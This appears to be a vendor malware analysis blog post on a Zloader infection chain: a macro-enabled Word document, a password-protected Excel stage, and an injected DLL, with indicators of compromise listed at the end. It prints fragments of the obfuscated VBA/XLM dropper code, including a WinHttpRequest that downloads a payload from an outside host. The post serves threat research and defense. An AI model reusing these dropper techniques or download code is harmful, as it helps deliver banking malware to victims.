# **Zloader: Entailing Different Office Files**

Q blogs.quickheal.com/zloader-entailing-different-office-files/

March 23, 2021



Zloader aka Terdot – a variant of the infamous Zeus banking malware is well known for aggressively using ".xls", ".xlsx" documents as its initial vector to deliver its payload. Despite this, recently we have come across ".docm" file which is being used by Zoader family to perform its initial activity. This shows adversaries like to experiment with office documents to avoid being detected by security solutions.



Fig.1-Attack Chain

# **Initial Vector:**

Here infection chain starts with ".docm" file. Docm stands for "Macro-enabled office word document". We can see below, the document view asking user to enable content.

Machine	View Input Devices Help			
) 🖬 🤊		osoft Word		1
Home	Insert Page Layout References Maili	ngs Reviev	Microsoft Office Security Options	
	Calibri (Body) • 172 • A A 👹 🗄	tin	Security Alert - Macro	F
e 🦪	$\mathbf{B}  I  \underline{\mathbf{U}}  \text{abs}  \mathbf{x}_2  \mathbf{x}^2  \mathbf{A} \mathbf{a}^{\vee}  \underline{\mathbf{b}} \overset{\mathbf{b}}{\underline{\mathbf{c}}}  \mathbf{x}  \overline{\underline{\mathbf{c}}}  \overline{\underline{\mathbf{c}}$	▝▋▋	Macro	s
oard 🗟	Font 😡	Paragra	Macros have been disabled. Macros might contain viruses or other security hazards. Do not enable this content unless you trust the source of this file.	d
ecurity W	arning Macros have been disabled. Options		Warning: It is not possible to determine that this content came from a trustworthy source. You should leave this content disabled unless the content provides critical functionality and you trust its source.	
			More information	
			File Path: C:\Users\virlab\Desktop\dep_det_3444608.docm	
			<ul> <li>Help protect me from unknown content (recommended)</li> </ul>	
		<b>T</b> I ·	Enable this content	
		Inis		
		versi		
		To <u>v</u> i		
		plea	Open the Trust Center OK Cancel	
		on th	ne top bar, and then click	1
		Enal	ole content'.	

Fig.2- Document View

Like many other documents, we tried to observe its activity after enabling content but there was no activity in it. By looking at its VBA code, we got our answer. Enabling content will not do execution of macro. Here macro execution starts on "Document close" as shown.



As soon as victim close this document, function "*nnn*" gets called which is the main function of this VBA macro. In this, again sub functions are being called. Here adversaries also make use of "Userform" to perform next stage activity.



UserForm\_Initialize() function is used to invoke "Userform2". Below image shows the userform2 object. In its dialog box, url data is chunked and overlapped on 25th ComboBox to hide actual data as shown below.

👿 🚾 - 🔚 🕺 🖬 🛍 🗛	"7 ("   🕨 🖬 🖬 😽 🛠
Project - Project	×
III 📴 📴	5 b1 5 k
⊕-& Normal	
E-& Project (Dep_det_344460	•
Microsoft Word Objects	
🖻 🗁 Forms	E
	Hidden
	I I I I I I I I I I I I I I I I I I I
UserForm3	Chunked Data
UserForm4	
Properties - ComboBox25	×
ComboBoy 25 ComboBoy	
combobox25 combobox	
Alphabetic Categorized	
(Name) ComboBox25	
Fia	a.5- Hidden URL Data

After going through all ComboBox of userform2, we were able to locate malicious url which is used to download 2nd stage payload.



To sum up above activity, adversaries are making use of for loop to access all these values and create final url as shown below,

	Private Sub UserForm_Initialize()								
	On Error GoTo ErrorHandler								
	jd8 = UserForm2.Controls.Count - 1								
	If Len(UserForm1.ComboBox4) > 10 Then jd8 = jd8 * 2 End If								
¢	uv = "" For ypk = 1 To jd8 Step 2 uv = uv & UserForm2.Controls.Ite Next	m(ypk)	Loop URL	to create					
	≣								
Wate	ches 🚽								
Exp	oression Value	Туре		Context					
66	"https://feelingfit-always.com/1.php"	Variant/Strin	ıg	UserForm2.UserForm_Initia	alize				

Fig.7- Creation of URL on Document Close

Site "*hxxps[:]//feelingfit-always[.]com/1[.]php*" which is malicious having score 11 on virus total, is used to download password protected XLS file. Its password is hidden again in VBA macro in "Userform1". By exploring userform1 data, we were able to extract hidden password.



Fig.8- Macro Code to protect XLS with password



Fig.9- XLS Hidden Password

# 2nd Stage Payload:

Protecting document with password is classic technique to defend against AV vendors. Correct password is necessary to dig further into analysis. After matching above password, we can finally see excel workbook content. XLM macro is used in "Sheet3" to perform further activity.

	A1	• ()	$f_{x}$								
	V	W	Х	Y	Z	AA	AB	AC	AD	AE	AF
177							ThisWork	book.Auto	Open3		
178											
179											
180											
181											
182											
183											
184	Function I	bxh59()bxh5	59="l"End	FunctionFu	nction c7r	/1()c7ry1=	1End Funct	ionFunctio	n c9ex5()c	ex5=1End	FunctionF
185											
186								Item			
187											
188											
189											
190											
191											
192											
	► ► Sheet	3 Sheet2	Sheet1 / 🕈					1 4			1111
				-						1.000	

Fig.10- XLS Workbook

Here code is embedded in different cells of document. Below figure shows the extracted macro code from above workbook:

```
Sub Auto_Open3
On Error GoTo ErrorHandler
oajjx =
""ht""+""tp""+Switch(c5td0=bxc5c, IIf(c4b8m()>=e4is7(),3481,1),c5td0=ce74y,""s://"")+""san
tarosafuneralhome.com/2.php""
Set jig0 =
CreateObject(Switch(e66k4=esyuy, 1696,e66k4=bx481,""WinHttp.Wi"")+""nH""+""ttpReque""+""st
.5.1"")
IF jig0 Is Nothing Then
jig0 =
CreateObject(IIf(IIf(17101<=ceid6(),29381,t04tn())>=21244,""WinHttp.Win"",c5sis())+Switch
(qifc2=dn5lm,26804,qifc2=by4m2,IIf(ihy1x()>=3271,""HttpRequest"",IIf(19699>=dm7ib(),hyfev
(),1)))+"".""+Switch(vxkpb=gp2e1,10224,vxkpb=j28by,""5""))
End If
IF jig0 Is Nothing Then
GoTo ErrorHandler
End If
```

Fig.11- XLM Macro Code

Here adversaries make use of excel inbuilt functions like IIF and Switch to obfuscate data. Final deobfuscated code can be seen as below,

WinHttp.WinHttpRequest.5.1.open GET https[:]//santarosafuneralhome[.]com/2.php False

WinHttp.WinHttpRequest.5.1.SetRequestHeader

WinHttp.WinHttpRequest.5.1.send

Above malicious url having virus total score 8 is used to download 3rd stage payload of this attack.

#### **Final Payload Analysis:**

The DLL is the final payload of Zloader. Here the DLL is highly obfuscated and avoids direct calls to the Windows APIs. Hashing is used to calculate the addresses and makes the call with the calculated values, making the reversing difficult.

Hex dunp	Disassembly
55	PUSH EBP
89E5	MOU EBP, ESP
53	PUSH EBX
57	PUSH EDI
56	PUSH ESI
81EC 90000000	SUB ESP,90
8B75 0C	MOU ESI, DWORD PTR SS:[EBP+C]
68 C4027464	PUSH 647402C4
F8 F20DFFFF	CALL picth.10002D50
83C4 04	ADD ESP,4
89C1	MOV ECX,EAX
89F0	MOV ECX,EAX
31D2	XOR EDX,EDX
31DB	XOR EBX,EBX
F?F1	DIV ECX
880495 B82C0210	MOV EAX,DWORD PTR DS:[EDX*4+10022CB8]
89D?	MOV EDI,EDX
85C0	IESI EAX,EAX
74 33	JE SHORT miotb.1000BFB6
90	NOP
Hex dump	Disassembly
55	PUSH EBP
89E5	MOU EBP, ESP
8B55 08	MOU EDX, DWORD PTR SS:[EBP+8]
89D0	MOU EAX, EDX
35 AC007464	XOR EAX, 647400AC
8D0C10	LEA ECX, DWORD PTR DS:[EAX+EDX]
0FAFCA	IMUL ECX, EDX
31C1	XOR ECX, EAX
01D1	ADD ECX, EDX
80C1 F8	ADD CL, 0F8
880D BE200210	MOU BYTE PTR DS:[100220BE], CL
5D	POP EBP
C3	RETN
90	NOP

Fig.12 – Code for address calculation

The DLL creates process 'msiexec.exe', which is a genuine Microsoft process that belongs to Windows Component installer, in suspended mode and injects encrypted file to it.



It also injects a routine that will decrypt and bring the malicious PE out for execution.

Address		∧ Registers (FPU) < < < < < <
Debs:F81.4         BE         Deb0606400           00466.F81.9         B9         066.082269           00466.F81.8         B8.08.22652E         04065.F82.4           00465.F82.4         A199.06         0405.F82.4           00465.F82.4         -74.09         0405.F82.4           00405.F82.7         -76.09         0405.F82.4           00405.F82.7         -66.6         0406.F82.7           00405.F82.7         -61.09         8           00405.F82.7         -76.09         8           00405.F82.7         -76.00         74.00           00405.F82.7	HOU         ESI_060600           HOU         ECK_26080           HOU         ECK_26080           GCH         ECK_4000           JE         SHORT           SHORT         SHO060831           JE         SHORT           SHORT         SHO060831           JC         SHORT           SHORT         SHORT           JE	EAX 7CS8220F kernel32.WriteProcessMemory ECK 00060601 EIX 00060601 EIX 00060601 EST 00067884 EST 00067880 EST 00067800 EST 00026000 EDI 0002600 EDI 00000 EDI 000000 EDI 000000 EDI 0000000 EDI 0000000 EDI 00000000 EDI 000000000 EDI 000000000000000000000000000000000000
0006;F9:3:8         0000           0006;F9:3:6         0000           0006;F9:4:6         0000	ADD         BYTE         PTR         DS: [EAX: AL           ADD         BYTE         PTR         S: [EAX: AL	r       1
Address         Hex dunp           00406,F814         BE         04 <th>ASCII           B         66         22         65         28         3        </th> <th>A         0005/2001         1000819F         CALL to WriteProcessPenory from niotb.1000819D           0005/2001         0006/238         00000004         (window)           0006/238         00000004         (window)           0006/238         0000004         (window)           0006/238         0000004         (window)           0006/238         0000004         (window)           0006/2318         00000042         (window)           0006/2318         000000042         (window)           00006/2318         0000000000         (window)           00006/2318         000000000000000000000000000000000000</th>	ASCII           B         66         22         65         28         3	A         0005/2001         1000819F         CALL to WriteProcessPenory from niotb.1000819D           0005/2001         0006/238         00000004         (window)           0006/238         00000004         (window)           0006/238         0000004         (window)           0006/238         0000004         (window)           0006/238         0000004         (window)           0006/2318         00000042         (window)           0006/2318         000000042         (window)           00006/2318         0000000000         (window)           00006/2318         000000000000000000000000000000000000
	Fig. 15- D	Decryption Routine

With the setting of thread context, the initial execution point is passed and finally the injected code is executed with resume thread.

When this thread of msiexec.exe comes into execution, it tries to make connection to its CnC servers as shown,

Module	API Q	Return Value
WININET.dll	GetSystemTimeAsFileTime (0x0021e21c)	
WININET.dll	EnterCriticalSection (0x00389458)	
WININET.dll	LeaveCriticalSection (0x00389458)	
WININET.dll	GetAddrinfoExW ("tiodeitidampheater.tk", NULL, NS_DNS, NULL, 0x0021.e2	WSAHOST_NOT
ws2_32.dll	TIsGetValue ( 31 )	0x00385868
ws2_32.dll	TIsGetValue (31)	0x00385868

Since these urls were down at the time of analysis, we were not able to go further deeper into it.

# **Conclusion:**

This type of attack shows how adversaries innovate their mechanism to start infection chain to compromise victim. User should always be cautious while opening any office files. Quick Heal and Seqrite enterprise security solutions protect its customers from such files. So, remember to keep the endpoint security solutions always updated.

# IOCs:

DOCM: 117fafb46f27238351f2111e8f01416412044238d2f8378a285063eb9d4eef3d

409ed829f19024045d26cc5d3a06e15a097605e13ba938875eca054a7a4a30b1

91aa050536d834947709776af40c2fde49471d28231de50df0d324cd55101df4

XLS: 52d071922413a3be8815a76118a45bf13d8d323b73ba42377591fd68c59dfc89

URL:

https[://]tiodeitidampheater.tk/post.php

https[://]actes-etatcivil.com/post.php

https[://]ankarakreatif.com/post.php

https[://]www.ramazanyildiz.net/post.php

https[://]hispaniaeng.com/post.php

https[://]www.ifdd.francophonie.org/post.php

# Subject Matter Expert:

Anjali Raut

Priyanka Shinde



Anjali Raut

Follow @AnjaliR51806529